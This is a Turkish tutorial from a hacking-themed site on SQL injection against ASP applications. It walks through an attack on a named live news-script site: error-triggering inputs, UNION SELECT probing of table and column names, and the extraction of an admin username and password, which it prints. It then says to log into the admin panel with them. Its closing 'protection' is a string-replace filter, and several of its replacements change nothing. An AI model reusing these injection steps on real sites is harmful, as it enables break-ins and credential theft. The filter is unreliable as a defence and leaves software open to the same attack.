domainhack-webhack-emailhack-ftp hack
  sql açığının güvenliğini sağlamak
 
sql açıgı bulma ve güvenligi



BASiT SQL ATTACKLAR

-----------------------------

SQL Aslinda her nekadar da Attack türü Olsada bunun Programlama Dili Oldugunu unutmamamiz Lazim...


SQL Hakkinda internet üzerinde istemediginiz kadar bilgi mevcuttur.Okuyup Kendinizi gelistirebilirsiniz.

Evet Simdi SQL Attacklarin nasil oldugunu Sizlere Daha iyi Göstermek icin Biraz Programlama Bilgimizi konusturarak kod yazalim Bu arada bu alanda gercekten iyi olmak istiyorsaniz Programlama bilmeniz sart !


Evet ilk önce Sundan bahsedeyim Sizlere SQL injection Ataklari Asp , Php , Cgi Ã�zerinde Olabilir illa Asp de olcak diye bir kaide yok.Yalniz Ben Asp Programci oldugum icin Sizlere Asp konusunu anlaticam.

SQL Attack icin en uygun ve ücra köseler

ExplorerDe Bulunan ID degerleri ;

Arama Bölmümü ;

Login Paneli

vs vs...


evet HEDEF SITE ( Ben Acik Buldum Burda Ama Demo Site olarak Kullanin Siz )


Acigin Bulundugu Script : Yener Haber Script v2.0

Daha Detayli bilgi icin : http://www.securityfocus.com/archive/1/447653


Evet Simdi Konumuza Gecelim Ilk önce herkes Bir Explorer Sayfasi Acsin...Ve Adres Kismina

http://www50.brinkster.com/yenerturk yazsin... ( Yener Haber Scriptinin Resmi Sitesidir )

Adamlar gerci V1.0 Cikardi Ama ben Hem v1 de hemde v2.0 da yakaladim ayni acigi

Simdi Hepimizin karsisinda ne kadar da Sakin ve masum duran bir site var. Ve Hersey bir o kadar yolunda...Simdi Ana Sayfada Sergilenen haberlerden herhangi birine Tiklayin ...Mesela Ben Hacker Saldirisi Hakkinda Linkine tikladim ve karsima söyle bir link geldi....( Benden bahsediyorlar )


http://www50.brinkster.com/yenerturk...egori=11&id=11

Evet biraz Linkle oynayacagiz... id=11 degerine hata verdirelim...
SQL Hatalari verdirmek icin

Kod:
'
'or'
-1
1=1
'or"1=1'
heavy 1=1
Gibi Cümleler Kurarak hata verdirebiliriz...Sahsen ben en cok -1 Yöntemini kullanirim...

Evet Linki Degistiriyoruz...

http://www50.brinkster.com/yenerturk...egori=11&id=-1 Sadece id degerini -1 yaptik ve enterladik...


Bingo...

*

ADODB.Field error '80020009'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /yenerturk/default.asp, line 0

Hata verdi...EOF ve BOF ile hatamizi Aldik Demekki Site SQL yiyiyor. Devam Edelim .

Simdi SQL Cümlecikleri Kurarak Tablonun yolunu bilmeden Tablodan veri cekelim...

Kod:
UNION = Cümleleri birlikte Kullanmak icin SQL de kullanilan cümlecik
SELECT = SQL de Secmek
FROM = tablonun yolu
WHERE = Nerede
Kullanimi :

UNION SELECT kolon FROM tablo

Simdilik Bunlari Kullancagiz...

Evet Devam ediyoruz kisa bilgimizden Sonra...Linki Su Sekilde yaptik En son....

http://www50.brinkster.com/yenerturk...egori=11&id=-1

Simdi Cümlemizi Kuralim... Türkce Gibi düsünün ve yapiyi olusturun

Türkce de birsey istediginizde ne dersiniz ?

bana sunu getir gibi...Degilmi ? iste SQL de de aynisini yapiyoruz Bu sefer sunu yerine Admin sifrsini istiyoruz

http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2FROM uye


Yaziyoruz...Simdi Biz Burda Ne demis Olduk...

Database de ID Degeri -1 olan veri den bize uyeler tablosunda 0,1,2 Nolu Kolonlari göster dedik.... Ve karsimiza Söyle bir hata mesaji cikmasi lazim


Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'uye'. Make sure it exists and that its name is spelled correctly. /yenerturk/default.asp, line 349


Yani = The Microsoft Jet database engine cannot find the input table or query 'uye'.

Türkcesi = YOk Kardesim üye adinda bi tablo tutturamadin =)


Hemen tablo Adi deniyoruz tutana kadar...

uye yerine bu sefer admin yazalim.


http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2 FROM admin

Yazalim Bakalim ne Olcak.


Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of aunion query do not match. /yenerturk/default.asp, line 349


Yani = The number of columns in the two selected tables or queries of aunion query do not match.

Türkcesi = Tablo adini Tutturdun... Simdi Kolon Sayisi ve isimlerini bul Demek oluyor...

Evet Biz Kolon Sayisini ne yapmisiz ? 0,1,2 Yane 3 adet kolon yazmisiz... Demekki Databasedeki Admin tablosu 3 den fazla kolon sayisi barindiriyor...

Evet Kolon Sayisinizi Cogaltarak gidiyoruz

0,1,2,3,4,5,6,7 'e kadar olan Kolon Sayisinda bize hep "The number of columns in the two selected tables or queries of aunion query do not match " hatasini verdiriyor yane Daha da yüksek bir kolon sayisi var .


En Son 9 Adet Kolon Oldugunu Buluyoruz...Linkimiz Su Sekle girmis oluyor...


http://www50.brinkster.com/yenerturk...=-1UNIONSELECT 0,1,2,3,4,5,6,7,8 FROM admin


Ve Entera bastiktan sonra artik bize Tablo acilmis oluyor ve üzerinde


Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] Cannot update. Database or object is read-only. /yenerturk/default.asp, line 383


Yani Güncelleme yapamiyorum Demis oluyor... Tamam yapma baba ben zaten senden bilgi alcam güncellemicem.:=)

Sayi olarak verdigimiz Kolon Sayisini bu sefer isimlerini buluyoruz...Hersey olabilir ama En mantiklilarini kullanalim biz...Mesela Siz bir programci olsaniz en bas kolon ne olur ? ID degeri


o zaman

http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,1,2,3,4,5,6,7,8 FROM admin


yaziyoruz Bakiyoruz Evet ID Degeriymis...Tablo Daha da Güncelleme hatasi veriyor...

2.ci Tablo adini bulalim. Sizce ne olabilir ? Kullanici adidir büyük ihtimal cünkü databaselerde genel de programcilar id user pass ikilemini kullanirlar
Bizde kullanalim o zaman

http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,kullanici_adi,2,3,4,5,6,7,8 FROM admin


Yazip enterliyoruz...Karsmizdaki tabloda en üst kisimda Admin yazdigini görüyorz.Demekki ilk ID onun

Evet Adini bulduk sira sifresinde

Simdi 3.cü Kolonu bulalim

http://www50.brinkster.com/yenerturk...=-1UNIONSELECT id,kullanici_adi,sifre,3,4,5,6,7,8 FROM admin


yazip enterliyoruz ve tabloda bakiyoruz Sag tarafta Sifre beliriyor

Ve verilerimizi birlestirelim bakalim...

Kullanici Adi : admin
sifre : 69366936

yazdigini görüyoruz...Ve attagimiz basari ile sonuclaniyor... Admin panelinin yolunuz bulup buldugumuz kullanici adi ve sifre ile giriyoruz.


Gördügünüz Gibi...

Asp SQL Injectionlari yakalamak basit...tabi bu programcidan programciya degisir....


Evet Simdi Nasil korunuruz derseniz...Bulunmasi kadar Kolay da kapatabiliriz...


Atiyorum Bir haber scriptimiz var ( Yener haber gibi )

Burda Kodlarimizi incelersek Gelen veriyin SQL komutlarini ve XSS Kodlarini calistiracagini biliyoruz cünkü Replace edilmemisler...

Replace : Asp'de veriyi süzme ve zararli kodlari cikarma islemidir.


Mesela söyle bir link olsun...

www.site.com/index.asp?id=1


Normalde Bu sayfa nasil cagrilir asp de.

ID=Request.QueryString("id")

Seklindedir. Yani diyo ki ID degerini DB Den cagrilan Degere esitle...

Simdi Burda bakiyoruz Ki herhangi bir süzme islemi yok bunu gördügümüz kod'a firekt SQL veya XSS yapabiliriz...Mantik bu..!

Simdi Onu engelleyelim...
Mesela Biz Hangi kodlari kullaniyoruz ?
Kod:
-1 , ' ,UNION, SELECT, FROM, UPDATE
vs vsvs...

Bunlari Replace ile süzmemiz lazim...


Asagidaki Kodlari Sayfanizin en üstüne yazin....


Kod:
<%
Private Function imhabirligi(RMx)
RMx = Replace(RMx, " ", "")
RMx = Replace(RMx, "../", "")
RMx = Replace(RMx, "<", "&lt;")
RMx = Replace(RMx, ">", "&gt;")
RMx = Replace(RMx, "(", "")
RMx = Replace(RMx, ")", "")
RMx = Replace(RMx, """", "", 1, -1, 1)
RMx = Replace(RMx, "=", "=", 1, -1, 1)
RMx = Replace(RMx, ";", "", 1, -1, 1)
RMx = Replace(RMx, "?", "?", 1, -1, 1)
RMx = Replace(RMx, ",", "", 1, -1, 1)
RMx = Replace(RMx, "select", "select", 1, -1, 1)
RMx = Replace(RMx, "union", "union", 1, -1, 1)
RMx = Replace(RMx, "?","",1,-1,1)
RMx = Replace(RMx, "Chr(34)","",1,-1,1)
RMx = Replace(RMx, "Chr(39)","",1,-1,1)
imhabirligi = RMx
End Function
%>

Yazdiktan Sonra Simdi Az önce XSS ve SQL acigina neden Olan ID Degerini Güvenlik altina alalim...

En üste Bu kodlari yazdiktan sonra

ID=Request.QueryString("id")

Degerini

ID=imhabirligi(Request.QueryString("id"))

ile Degistiriyoruz... Ve XSS veya SQL denemesi yapin... Yemeyecektir...


Evet arkadaslar.... Bu dökümani okuyan ( Ama anlayarak okuyan arkadaslarimi mutlaka Asp Script üzerindeki SQL ve XSS Aciklarini tespit edebilir...Kullanabilir ve o acigi Patchleyebilir...
 
  Bugün 7 ziyaretçi (10 klik) kişi burdaydı!  
 
Bu web sitesi ücretsiz olarak Bedava-Sitem.com ile oluşturulmuştur. Siz de kendi web sitenizi kurmak ister misiniz?
Ücretsiz kaydol